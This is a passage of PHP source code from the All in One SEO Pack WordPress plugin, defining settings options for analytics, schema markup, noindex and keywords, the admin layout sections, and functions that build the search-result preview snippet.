This is a setting users can enable to display more advanced options for Google Analytics. */ 'name' => __( 'Advanced Analytics Options', 'all-in-one-seo-pack' ), 'default' => 'on', 'type' => 'radio', 'initial_options' => array( 'on' => __( 'Enabled', 'all-in-one-seo-pack' ), 0 => __( 'Disabled', 'all-in-one-seo-pack' ), ), 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), ), ), 'ga_domain' => array( /* translators: This is a setting which allows users to set the cookie domain for their Google Analytics tracking code. */ 'name' => __( 'Tracking Domain', 'all-in-one-seo-pack' ), 'type' => 'text', 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'ga_multi_domain' => array( /* translators: This is a setting which allows users to enable Google Analytics tracking for multiple domain names. */ 'name' => __( 'Track Multiple Domains', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'ga_addl_domains' => array( /* translators: This is a setting which allows users to enter additional domain names used for Google Analytics cross-domain tracking - https://support.google.com/analytics/answer/1034342?hl=en.*/ 'name' => __( 'Additional Domains', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', 'aiosp_ga_multi_domain' => 'on', ), ), 'ga_anonymize_ip' => array( /* translators: This is a setting which tells Google Analytics not to track and store the IP addresses of website visitors. This is required to be compliant with the GDPR for example. */ 'name' => __( 'Anonymize IP Addresses', 'all-in-one-seo-pack' ), 'type' => 'checkbox', 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'ga_display_advertising' => array( /* translators: This is a setting that enables a collection of Google Analytics features so you can, for example, create segments based on demographic and interest data. */ 'name' => __( 'Display Advertiser Tracking', 'all-in-one-seo-pack' ), 'type' => 'checkbox', 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'ga_exclude_users' => array( /* translators: This is a setting that allows you to exclude certain WordPress user roles, e.g. Administrators, from Google Analytics tracking. */ 'name' => __( 'Exclude Users From Tracking', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'ga_track_outbound_links' => array( /* translators: This is a setting that enables tracking of outbound/external links by Google Analytics. */ 'name' => __( 'Track Outbound Links', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'ga_link_attribution' => array( /* translators: This is a setting for Google Analytics that allows you to tag your pages to implement enhanced link-tracking. */ 'name' => __( 'Enhanced Link Attribution', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'ga_enhanced_ecommerce' => array( /* translators: This is a setting which tells Google Analytics to track your customers' path to purchase on your e-commerce website. */ 'name' => __( 'Enhanced Ecommerce', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_google_analytics_id' => array( 'lhs' => 'aiosp_google_analytics_id', 'op' => '!=', 'rhs' => '', ), 'aiosp_ga_advanced_options' => 'on', ), ), 'schema_markup' => array( /* translators: This is a setting that outputs basic Schema.org markup, also known as structured data, into the source code of each page. */ 'name' => __( 'Use Schema.org Markup', 'all-in-one-seo-pack' ), 'type' => 'radio', 'default' => 1, 'initial_options' => array( 1 => __( 'Enabled', 'all-in-one-seo-pack' ), 0 => __( 'Disabled', 'all-in-one-seo-pack' ), ), ), // TODO Change `schema_search_results_page` to `schema_add_search_results_page`. Requires modifying double arrow alignment. 'schema_search_results_page' => array( /* translators: This is a setting users can enable to add the basic markup code to their source code that is needed for Google to generate a Sitelinks Search Box - https://developers.google.com/search/docs/data-types/sitelinks-searchbox.*/ 'name' => __( 'Display Sitelinks Search Box', 'all-in-one-seo-pack' ), 'condshow' => array( 'aiosp_schema_markup' => 1, ), ), 'schema_social_profile_links' => array( 'name' => __( 'Social Profile Links', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'cols' => 60, 'rows' => 5, 'condshow' => array( 'aiosp_schema_markup' => 1, ), ), 'schema_site_represents' => array( 'name' => __( 'Person or Organization', 'all-in-one-seo-pack' ), 'type' => 'radio', 'default' => 'organization', 'initial_options' => array( 'organization' => __( 'Organization', 'all-in-one-seo-pack' ), 'person' => __( 'Person', 'all-in-one-seo-pack' ), ), 'condshow' => array( 'aiosp_schema_markup' => 1, ), ), 'schema_organization_name' => array( 'name' => __( 'Organization Name', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '', 'condshow' => array( 'aiosp_schema_markup' => 1, 'aiosp_schema_site_represents' => 'organization', ), ), 'schema_organization_logo' => array( 'name' => __( 'Organization Logo', 'all-in-one-seo-pack' ), 'type' => 'image', 'condshow' => array( 'aiosp_schema_markup' => 1, 'aiosp_schema_site_represents' => 'organization', ), ), 'schema_person_user' => array( 'name' => __( 'Person\'s Username', 'all-in-one-seo-pack' ), 'type' => 'select', 'default' => 1, 'condshow' => array( 'aiosp_schema_markup' => 1, 'aiosp_schema_site_represents' => 'person', ), // Add initial options below. ), 'schema_phone_number' => array( 'name' => __( 'Phone Number', 'all-in-one-seo-pack' ), 'type' => 'tel', 'autocomplete' => 'off', 'condshow' => array( 'aiosp_schema_markup' => 1, 'aiosp_schema_site_represents' => 'organization', ), ), 'schema_contact_type' => array( 'name' => __( 'Type of Contact', 'all-in-one-seo-pack' ), 'type' => 'select', 'condshow' => array( 'aiosp_schema_markup' => 1, 'aiosp_schema_site_represents' => 'organization', ), 'initial_options' => array( 'none' => __( '-- Select --', 'all-in-one-seo-pack' ), 'customer support' => __( 'Customer Support', 'all-in-one-seo-pack' ), 'tech support' => __( 'Technical Support', 'all-in-one-seo-pack' ), 'billing support' => __( 'Billing Support', 'all-in-one-seo-pack' ), 'bill payment' => __( 'Bill Payment', 'all-in-one-seo-pack' ), 'sales' => __( 'Sales', 'all-in-one-seo-pack' ), 'reservations' => __( 'Reservations', 'all-in-one-seo-pack' ), 'credit card support' => __( 'Credit Card Support', 'all-in-one-seo-pack' ), 'emergency' => __( 'Emergency', 'all-in-one-seo-pack' ), 'baggage tracking' => __( 'Baggage Tracking', 'all-in-one-seo-pack' ), 'roadside assistance' => __( 'Roadside Assistance', 'all-in-one-seo-pack' ), 'package tracking' => __( 'Package Tracking', 'all-in-one-seo-pack' ), ), ), 'use_categories' => array( /* translators: This is the name of a setting. By enabling it, the plugin will use the categories of the relevant post as meta keywords in addition to any user-specified keywords. */ 'name' => __( 'Use Categories for META keywords', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_togglekeywords' => 0 ), ), 'use_tags_as_keywords' => array( /* translators: This is the name of a setting. By enabling it, the plugin will use the tags of the relevant post as meta keywords in addition to any user-specified keywords. */ 'name' => __( 'Use Tags for META keywords', 'all-in-one-seo-pack' ), 'default' => 1, 'condshow' => array( 'aiosp_togglekeywords' => 0 ), ), 'dynamic_postspage_keywords' => array( /* translators: This a setting that allows you to dynamically output meta keywords on archive pages based on the keywords from the posts that are displayed by the archive page. */ 'name' => __( 'Dynamically Generate Keywords for Posts Page/Archives', 'all-in-one-seo-pack' ), 'default' => 1, 'condshow' => array( 'aiosp_togglekeywords' => 0 ), ), 'category_noindex' => array( /* translators: This is a global setting that allows you to NOINDEX all your categories. */ 'name' => __( 'Use noindex for Categories', 'all-in-one-seo-pack' ), 'default' => 1, ), 'archive_date_noindex' => array( /* translators: This is a global setting that allows you to NOINDEX all your date archive pages. */ 'name' => __( 'Use noindex for Date Archives', 'all-in-one-seo-pack' ), 'default' => 1, ), 'archive_author_noindex' => array( /* translators: This is a global setting that allows you to NOINDEX all your author archive pages. */ 'name' => __( 'Use noindex for Author Archives', 'all-in-one-seo-pack' ), 'default' => 1, ), 'tags_noindex' => array( /* translators: This is a global setting that allows you to NOINDEX all your tag archive pages. */ 'name' => __( 'Use noindex for Tag Archives', 'all-in-one-seo-pack' ), 'default' => 0, ), 'search_noindex' => array( /* translators: This is a setting that allows you to NOINDEX your search results page. */ 'name' => __( 'Use noindex for the Search page', 'all-in-one-seo-pack' ), 'default' => 0, ), '404_noindex' => array( /* translators: This is a setting that allows you to NOINDEX your 404 Not Found page. */ 'name' => __( 'Use noindex for the 404 page', 'all-in-one-seo-pack' ), 'default' => 0, ), 'tax_noindex' => array( /* translators: This is a global setting that allows you to NOINDEX specific taxonomies. */ 'name' => __( 'Use noindex for Taxonomy Archives', 'all-in-one-seo-pack' ), 'type' => 'multicheckbox', 'default' => array(), ), 'paginated_noindex' => array( /* translators: This is a global setting that allows you to NOINDEX all your paginated content (page 2 and higher). */ 'name' => __( 'Use noindex for paginated pages/posts', 'all-in-one-seo-pack' ), 'default' => 0, ), 'paginated_nofollow' => array( /* translators: This is a global setting that allows you to NOFOLLOW all your paginated content. */ 'name' => __( 'Use nofollow for paginated pages/posts', 'all-in-one-seo-pack' ), 'default' => 0, ), 'generate_descriptions' => array( /* translators: This is a setting that allows the plugin to automatically populate the meta description tag based on the excerpt or content of the post/page.*/ 'name' => __( 'Autogenerate Descriptions', 'all-in-one-seo-pack' ), 'default' => 0, ), 'skip_excerpt' => array( /* translators: This is the name of a setting. By enabling it, the plugin will use the content of the post/page to automatically populate the meta description tag, instead of the excerpt. */ 'name' => __( 'Use Content For Autogenerated Descriptions', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_generate_descriptions' => 'on' ), ), 'run_shortcodes' => array( /* translators: This is a setting that enables the plugin to execute shortcodes in the autogenerated descriptions. Shortcodes allow people to execute code inside WordPress posts, pages, and widgets without writing any code directly. */ 'name' => __( 'Run Shortcodes In Autogenerated Descriptions', 'all-in-one-seo-pack' ), 'default' => 0, 'condshow' => array( 'aiosp_generate_descriptions' => 'on' ), ), 'hide_paginated_descriptions' => array( /* translators: This is a setting that, if enabled, removes the meta description for paginated content (page 2 and higher). */ 'name' => __( 'Remove Descriptions For Paginated Pages', 'all-in-one-seo-pack' ), 'default' => 0, ), 'dont_truncate_descriptions' => array( /* translators: This is a setting that makes sure the plugin does not truncate the meta description tag if it is longer than what All in One SEO Pack recommends. */ 'name' => __( 'Never Shorten Long Descriptions', 'all-in-one-seo-pack' ), 'default' => 0, ), 'unprotect_meta' => array( /* translators: This is a setting that allows users to unprotect internal postmeta fields for use with XML-RPC. */ 'name' => __( 'Unprotect Post Meta Fields', 'all-in-one-seo-pack' ), 'default' => 0, ), 'redirect_attachement_parent' => array( /* translators: This is the name of a setting. By enabling it, the plugin will redirect attachment page requests to the post parent, or in other words, the post/page where the media is embedded. */ 'name' => __( 'Redirect Attachments to Post Parent', 'all-in-one-seo-pack' ), 'default' => 0, ), 'ex_pages' => array( /* translators: This is a textarea setting where users can enter a list of pages that All in One SEO Pack should not affect. */ 'name' => __( 'Exclude Pages', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'default' => '', ), 'post_meta_tags' => array( /* translators: This is a setting that allows users to ouput additional code, such as references to stylesheets or JavaScript libraries, into the HEAD section of each post. */ 'name' => __( 'Additional Post Headers', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'default' => '', 'sanitize' => 'default', ), 'page_meta_tags' => array( /* translators: This is a setting that allows users to ouput additional HTML tags, such as references to stylesheets or JavaScript libraries, into the HEAD section of each page. */ 'name' => __( 'Additional Page Headers', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'default' => '', 'sanitize' => 'default', ), 'front_meta_tags' => array( /* translators: This is a setting that allows users to ouput additional HTML tags, such as references to stylesheets or JavaScript libraries, into the HEAD section of the frontpage/homepage. */ 'name' => __( 'Additional Front Page Headers', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'default' => '', 'sanitize' => 'default', ), 'home_meta_tags' => array( /* translators: This is a setting that allows users to ouput additional HTML tags, such as references to stylesheets or JavaScript libraries, into the HEAD section of the static Posts page (see Settings > Reading). */ 'name' => __( 'Additional Posts Page Headers', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'default' => '', 'sanitize' => 'default', ), 'do_log' => array( /* translators: This is a setting that enables All in One SEO Pack to log important events to help with debugging. */ 'name' => __( 'Log important events', 'all-in-one-seo-pack' ), 'default' => null, ), ); if ( ! AIOSEOPPRO ) { unset( $this->default_options['license_key'] ); unset( $this->default_options['taxactive'] ); } $this->locations = array( 'default' => array( 'name' => $this->name, 'prefix' => 'aiosp_', 'type' => 'settings', 'options' => null, ), 'aiosp' => array( 'name' => $this->plugin_name, 'type' => 'metabox', 'prefix' => '', 'help_link' => 'https://semperplugins.com/documentation/post-settings/', 'options' => array( 'edit', 'nonce-aioseop-edit', AIOSEOPPRO ? 'support' : 'upgrade', 'snippet', 'title', 'description', 'keywords', 'custom_link', 'noindex', 'nofollow', 'sitemap_exclude', 'disable', 'disable_analytics', ), 'default_options' => array( 'edit' => array( 'type' => 'hidden', 'default' => 'aiosp_edit', 'prefix' => true, 'nowrap' => 1, ), 'nonce-aioseop-edit' => array( 'type' => 'hidden', 'default' => null, 'prefix' => false, 'nowrap' => 1, ), 'upgrade' => array( 'type' => 'html', 'label' => 'none', 'default' => aiosp_common::get_upgrade_hyperlink( 'meta', sprintf( '%1$s %2$s Pro', /* translators: The complete string is as follows: "Upgrade to All in One SEO Pack Pro". */ __( 'Upgrade to', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), __( 'UPGRADE TO PRO VERSION', 'all-in-one-seo-pack' ), '_blank' ), ), 'support' => array( 'type' => 'html', 'label' => 'none', 'default' => '' . __( 'Support Forum', 'all-in-one-seo-pack' ) . '', ), 'snippet' => array( /* translators: The preview snippet shows how the page will look like in the search results (title, meta description and permalink). */ 'name' => __( 'Preview Snippet', 'all-in-one-seo-pack' ), 'type' => 'custom', 'label' => 'top', 'default' => '

      %s

      %s
      %s
      ', ), 'title' => array( 'name' => __( 'Title', 'all-in-one-seo-pack' ), 'type' => 'text', 'count' => true, 'size' => 60, ), 'description' => array( 'name' => __( 'Description', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'count' => true, 'cols' => 80, 'rows' => 2, ), 'keywords' => array( 'name' => __( 'Keywords (comma separated)', 'all-in-one-seo-pack' ), 'type' => 'text', ), 'custom_link' => array( /* translators: This is a setting that users can enable to enter a custom canonical URL. */ 'name' => __( 'Custom Canonical URL', 'all-in-one-seo-pack' ), 'type' => 'text', 'size' => 60, ), 'noindex' => array( /* translators: This is a setting that allows users to add the NOINDEX robots meta tag value to the current post/page. */ 'name' => __( 'NOINDEX this page/post', 'all-in-one-seo-pack' ), 'default' => '', ), 'nofollow' => array( /* translators: This is a setting that allows users to add the NOFOLLOW robots meta tag value to the current post/page. */ 'name' => __( 'NOFOLLOW this page/post', 'all-in-one-seo-pack' ), 'default' => '', ), /* translators: This is a setting that allows users to exclude the current post/page from the sitemap. */ 'sitemap_exclude' => array( 'name' => __( 'Exclude From Sitemap', 'all-in-one-seo-pack' ) ), /* translators: This is a setting that allows users to disable All in One SEO Pack for the current post/page. */ 'disable' => array( 'name' => __( 'Disable on this page/post', 'all-in-one-seo-pack' ) ), 'disable_analytics' => array( /* translators: This is a setting that allows users to disable Google Analytics tracking for the current post/page. */ 'name' => __( 'Disable Google Analytics', 'all-in-one-seo-pack' ), 'condshow' => array( 'aiosp_disable' => 'on' ), ), ), // #1067: if SEO is disabled and an empty array is passed below, it will be overridden. So let's pass a post type that cannot possibly exist. 'display' => ! empty( $aioseop_options['aiosp_cpostactive'] ) ? array( $aioseop_options['aiosp_cpostactive'] ) : array( '___null___' ), ), ); $this->layout = array( 'default' => array( /* translators: This is the name of the main menu. */ 'name' => __( 'General Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/general-settings/', 'options' => array(), // This is set below, to the remaining options -- pdb. ), 'home' => array( 'name' => __( 'Home Page Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/home-page-settings/', 'options' => array( 'home_title', 'home_description', 'home_keywords', 'use_static_home_info' ), ), 'title' => array( 'name' => __( 'Title Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/title-settings/', 'options' => array( 'force_rewrites', 'home_page_title_format', 'page_title_format', 'post_title_format', 'category_title_format', 'archive_title_format', 'date_title_format', 'author_title_format', 'tag_title_format', 'search_title_format', 'description_format', '404_title_format', 'paged_format', ), ), 'cpt' => array( /* translators: This is the name of a settings section where users can indicate which post types and taxonomies they want to use All in One SEO Pack with. */ 'name' => __( 'Content Type Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/custom-post-type-settings/', 'options' => array( 'taxactive', 'cpostactive' ), ), 'display' => array( /* translators: This is the name of a settings section where users can control how All in One SEO Pack appears in the WordPress Administrator Panel. */ 'name' => __( 'Display Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/display-settings/', 'options' => array( 'posttypecolumns' ), ), 'webmaster' => array( /* translators: This is the name of a settings section where users can add verification codes of webmaster platforms such as Google Search Console, Bing Webmaster Tools, etc. */ 'name' => __( 'Webmaster Verification', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/sections/webmaster-verification/', 'options' => array( 'google_verify', 'bing_verify', 'pinterest_verify', 'yandex_verify', 'baidu_verify' ), ), 'google' => array( 'name' => __( 'Google Analytics', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/', 'options' => array( 'google_analytics_id', 'ga_advanced_options', 'ga_domain', 'ga_multi_domain', 'ga_addl_domains', 'ga_anonymize_ip', 'ga_display_advertising', 'ga_exclude_users', 'ga_track_outbound_links', 'ga_link_attribution', 'ga_enhanced_ecommerce', ), ), 'schema' => array( 'name' => __( 'Schema Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/schema-settings/', 'options' => array( 'schema_markup', 'schema_search_results_page', 'schema_social_profile_links', 'schema_site_represents', 'schema_organization_name', 'schema_organization_logo', 'schema_person_user', 'schema_phone_number', 'schema_contact_type', ), ), 'noindex' => array( 'name' => __( 'Noindex Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/noindex-settings/', 'options' => array( 'cpostnoindex', 'cpostnofollow', 'category_noindex', 'archive_date_noindex', 'archive_author_noindex', 'tags_noindex', 'search_noindex', '404_noindex', 'tax_noindex', 'paginated_noindex', 'paginated_nofollow', ), ), 'advanced' => array( 'name' => __( 'Advanced Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/', 'options' => array( 'generate_descriptions', 'skip_excerpt', 'run_shortcodes', 'hide_paginated_descriptions', 'dont_truncate_descriptions', 'unprotect_meta', 'redirect_attachement_parent', 'ex_pages', 'post_meta_tags', 'page_meta_tags', 'front_meta_tags', 'home_meta_tags', ), ), 'keywords' => array( 'name' => __( 'Keyword Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/keyword-settings/', 'options' => array( 'togglekeywords', 'use_categories', 'use_tags_as_keywords', 'dynamic_postspage_keywords', ), ), ); $user_args = array( 'role__in' => array( 'administrator', 'editor', 'author', ), 'orderby' => 'nicename', ); $users = get_users( $user_args ); $this->default_options['schema_person_user']['initial_options'] = array(); foreach ( $users as $user ) { $this->default_options['schema_person_user']['initial_options'][ $user->ID ] = $user->data->user_nicename . ' (' . $user->data->display_name . ')'; } if ( AIOSEOPPRO ) { // Add Pro options. $this->default_options = aioseop_add_pro_opt( $this->default_options ); $this->layout = aioseop_add_pro_layout( $this->layout ); } if ( ! AIOSEOPPRO ) { unset( $this->layout['cpt']['options']['0'] ); } $other_options = array(); foreach ( $this->layout as $k => $v ) { $other_options = array_merge( $other_options, $v['options'] ); } $this->layout['default']['options'] = array_diff( array_keys( $this->default_options ), $other_options ); if ( is_admin() ) { add_action( 'aioseop_global_settings_header', array( $this, 'display_right_sidebar' ) ); add_action( 'aioseop_global_settings_footer', array( $this, 'display_settings_footer' ) ); add_action( 'output_option', array( $this, 'custom_output_option' ), 10, 2 ); add_action( 'admin_init', array( $this, 'visibility_warning' ) ); add_action( 'admin_init', array( $this, 'woo_upgrade_notice' ) ); } if ( AIOSEOPPRO ) { add_action( 'split_shared_term', array( $this, 'split_shared_term' ), 10, 4 ); } } // good candidate for pro dir. /** * Custom Output Option * * Use custom callback for outputting snippet * * @since ? * @since 2.3.16 Decodes HTML entities on title, description and title length count. * * @param $buf * @param $args * @return string */ function custom_output_option( $buf, $args ) { if ( 'aiosp_snippet' === $args['name'] ) { $args['options']['type'] = 'html'; $args['options']['nowrap'] = false; $args['options']['save'] = false; $info = $this->get_page_snippet_info(); } else { return ''; } $args['options']['type'] = 'html'; $args['options']['nowrap'] = false; $args['options']['save'] = false; $info = $this->get_page_snippet_info(); $title = $info['title']; $description = $info['description']; $keywords = $info['keywords']; $url = $info['url']; $title_format = $info['title_format']; $category = $info['category']; $w = $info['w']; $p = $info['p']; if ( $this->strlen( $title ) > 70 ) { $title = $this->trim_excerpt_without_filters( $this->html_entity_decode( $title ), 70 ) . '...'; } if ( $this->strlen( $description ) > 156 ) { $description = $this->trim_excerpt_without_filters( $this->html_entity_decode( $description ), 156 ) . '...'; } if ( empty( $title_format ) ) { $title = '' . esc_attr( wp_strip_all_tags( html_entity_decode( $title ) ) ) . ''; } else { $title_format = $this->get_preview_snippet_title(); $title = $title_format; } $args['value'] = sprintf( $args['value'], $title, esc_url( $url ), esc_attr( $description ) ); $buf = $this->get_option_row( $args['name'], $args['options'], $args ); return $buf; } /** * The get_preview_snippet_title() function. * * Processes the title format for the snippet preview on the Edit screen. * * @since 2.4.9 * @since 3.2.0 Fix #1408 & #2526. * * @return mixed */ public function get_preview_snippet_title() { $info = $this->get_page_snippet_info(); $title = $info['title']; $description = $info['description']; $keywords = $info['keywords']; $url = $info['url']; $title_format = $info['title_format']; $category = $info['category']; $wp_query = $info['w']; $post = $info['p']; // Posts page title doesn't need to be processed because get_aioseop_title() does this. if ( is_home() ) { return $this->get_preview_snippet_title_helper( $title ); } /** * The aioseop_before_get_title_format action hook. * * Runs before we process the title format for the snippet preview is. * * @since 3.0.0 */ do_action( 'aioseop_before_get_title_format' ); if ( false !== strpos( $title_format, '%site_title%', 0 ) ) { $title_format = str_replace( '%site_title%', get_bloginfo( 'name' ), $title_format ); } // %blog_title% macro is deprecated. if ( false !== strpos( $title_format, '%blog_title%', 0 ) ) { $title_format = str_replace( '%blog_title%', get_bloginfo( 'name' ), $title_format ); } $title_format = $this->apply_cf_fields( $title_format ); if ( false !== strpos( $title_format, '%post_title%', 0 ) ) { $title_format = str_replace( '%post_title%', $this->get_preview_snippet_title_helper( $title ), $title_format ); } if ( false !== strpos( $title_format, '%page_title%', 0 ) ) { $title_format = str_replace( '%page_title%', $this->get_preview_snippet_title_helper( $title ), $title_format ); } if ( false !== strpos( $title_format, '%current_date%', 0 ) ) { $title_format = str_replace( '%current_date%', aioseop_formatted_date(), $title_format ); } if ( false !== strpos( $title_format, '%current_year%', 0 ) ) { $title_format = str_replace( '%current_year%', date( 'Y' ), $title_format ); } if ( false !== strpos( $title_format, '%current_month%', 0 ) ) { $title_format = str_replace( '%current_month%', date( 'M' ), $title_format ); } if ( false !== strpos( $title_format, '%current_month_i18n%', 0 ) ) { $title_format = str_replace( '%current_month_i18n%', date_i18n( 'M' ), $title_format ); } if ( false !== strpos( $title_format, '%post_date%', 0 ) ) { $title_format = str_replace( '%post_date%', aioseop_formatted_date( get_the_time( 'U' ) ), $title_format ); } if ( false !== strpos( $title_format, '%post_year%', 0 ) ) { $title_format = str_replace( '%post_year%', get_the_date( 'Y' ), $title_format ); } if ( false !== strpos( $title_format, '%post_month%', 0 ) ) { $title_format = str_replace( '%post_month%', get_the_date( 'F' ), $title_format ); } if ( $wp_query->is_category || $wp_query->is_tag || $wp_query->is_tax ) { if ( AIOSEOPPRO && ! empty( $_GET ) && ! empty( $_GET['taxonomy'] ) && ! empty( $_GET['tag_ID'] ) && function_exists( 'wp_get_split_terms' ) ) { $term_id = intval( $_GET['tag_ID'] ); $was_split = get_term_meta( $term_id, '_aioseop_term_was_split', true ); if ( ! $was_split ) { $split_terms = wp_get_split_terms( $term_id, $_GET['taxonomy'] ); if ( ! empty( $split_terms ) ) { foreach ( $split_terms as $new_tax => $new_term ) { $this->split_shared_term( $term_id, $new_term ); } } } } if ( false !== strpos( $title_format, '%category_title%', 0 ) ) { $title_format = str_replace( '%category_title%', $title, $title_format ); } if ( false !== strpos( $title_format, '%taxonomy_title%', 0 ) ) { $title_format = str_replace( '%taxonomy_title%', $title, $title_format ); } } else { if ( false !== strpos( $title_format, '%category%', 0 ) ) { $title_format = str_replace( '%category%', $category, $title_format ); } if ( false !== strpos( $title_format, '%category_title%', 0 ) ) { $title_format = str_replace( '%category_title%', $category, $title_format ); } if ( false !== strpos( $title_format, '%taxonomy_title%', 0 ) ) { $title_format = str_replace( '%taxonomy_title%', $category, $title_format ); } if ( AIOSEOPPRO ) { if ( strpos( $title_format, '%tax_', 0 ) && ! empty( $post ) ) { $taxes = get_object_taxonomies( $post, 'objects' ); if ( ! empty( $taxes ) ) { foreach ( $taxes as $t ) { if ( strpos( $title_format, "%tax_{$t->name}%", 0 ) ) { $terms = $this->get_all_terms( $post->ID, $t->name ); $term = ''; if ( count( $terms ) > 0 ) { $term = $terms[0]; } $title_format = str_replace( "%tax_{$t->name}%", $term, $title_format ); } } } } } } if ( false !== strpos( $title_format, '%taxonomy_description%', 0 ) ) { $title_format = str_replace( '%taxonomy_description%', $description, $title_format ); } /** * The aioseop_title_format filter hook. * * Filter the title for the preview snippet after replacing all macros. * * @since 3.0.0 * * @param string $title_format Title format to be filtered. */ $title_format = apply_filters( 'aioseop_title_format', $title_format ); /** * The aioseop_after_format_title action hook. * * Runs after we have processed the title format for the snippet preview is. * * @since 3.0.0 */ do_action( 'aioseop_after_format_title' ); return $title_format; } /** * The get_preview_snippet_title_helper() function. * * Wraps the page or post title for the preview snippet title in its HTML span element. * Helper function for the get_preview_snippet_title() function. * * @since 3.2.0 * * @param string $title_format * @return string */ private function get_preview_snippet_title_helper( $title_format ) { return '' . esc_attr( wp_strip_all_tags( html_entity_decode( $title_format ) ) ) . ''; } /** * The get_page_snippet_info() function. * * Gets data that is needed to determine the preview snippet. * * @since ? * * @return array */ function get_page_snippet_info() { static $info = array(); if ( ! empty( $info ) ) { return $info; } global $post, $aioseop_options, $wp_query; $title = ''; $url = ''; $description = ''; $term = ''; $category = ''; $p = $post; $w = $wp_query; if ( ! is_object( $post ) ) { $post = $this->get_queried_object(); } if ( empty( $this->meta_opts ) ) { $this->meta_opts = $this->get_current_options( array(), 'aiosp' ); } if ( ! is_object( $post ) && is_admin() && ! empty( $_GET ) && ! empty( $_GET['post_type'] ) && ! empty( $_GET['taxonomy'] ) && ! empty( $_GET['tag_ID'] ) ) { $term = get_term_by( 'id', $_GET['tag_ID'], $_GET['taxonomy'] ); } if ( is_object( $post ) ) { $opts = $this->meta_opts; $post_id = $p->ID; if ( empty( $post->post_modified_gmt ) ) { $wp_query = new WP_Query( array( 'p' => $post_id, 'post_type' => $post->post_type, ) ); } if ( 'page' === $post->post_type ) { $wp_query->is_page = true; } elseif ( 'attachment' === $post->post_type ) { $wp_query->is_attachment = true; } else { $wp_query->is_single = true; } if ( empty( $this->is_front_page ) ) { $this->is_front_page = false; } if ( 'page' === get_option( 'show_on_front' ) ) { if ( is_page() && get_option( 'page_on_front' ) == $post->ID ) { $this->is_front_page = true; } elseif ( get_option( 'page_for_posts' ) == $post->ID ) { $wp_query->is_home = true; } } $wp_query->queried_object = $post; if ( ! empty( $post ) && ! $wp_query->is_home && ! $this->is_front_page ) { $title = $this->internationalize( get_post_meta( $post->ID, '_aioseop_title', true ) ); if ( empty( $title ) ) { $title = $post->post_title; } } $title_format = ''; if ( empty( $title ) ) { $title = $this->wp_title(); } $description = $this->get_main_description( $post ); // All this needs to be in it's own function (class really). if ( empty( $title_format ) ) { if ( is_page() ) { $title_format = $aioseop_options['aiosp_page_title_format']; } elseif ( is_single() || is_attachment() ) { $title_format = $this->get_post_title_format( 'post', $post ); } } if ( empty( $title_format ) ) { $title_format = '%post_title%'; } $categories = $this->get_all_categories( $post_id ); $category = ''; if ( count( $categories ) > 0 ) { $category = $categories[0]; } } elseif ( is_object( $term ) ) { if ( 'category' === $_GET['taxonomy'] ) { query_posts( array( 'cat' => $_GET['tag_ID'] ) ); } elseif ( 'post_tag' === $_GET['taxonomy'] ) { query_posts( array( 'tag' => $term->slug ) ); } else { query_posts( array( 'page' => '', $_GET['taxonomy'] => $term->slug, 'post_type' => $_GET['post_type'], ) ); } if ( empty( $this->meta_opts ) ) { $this->meta_opts = $this->get_current_options( array(), 'aiosp' ); } $title = 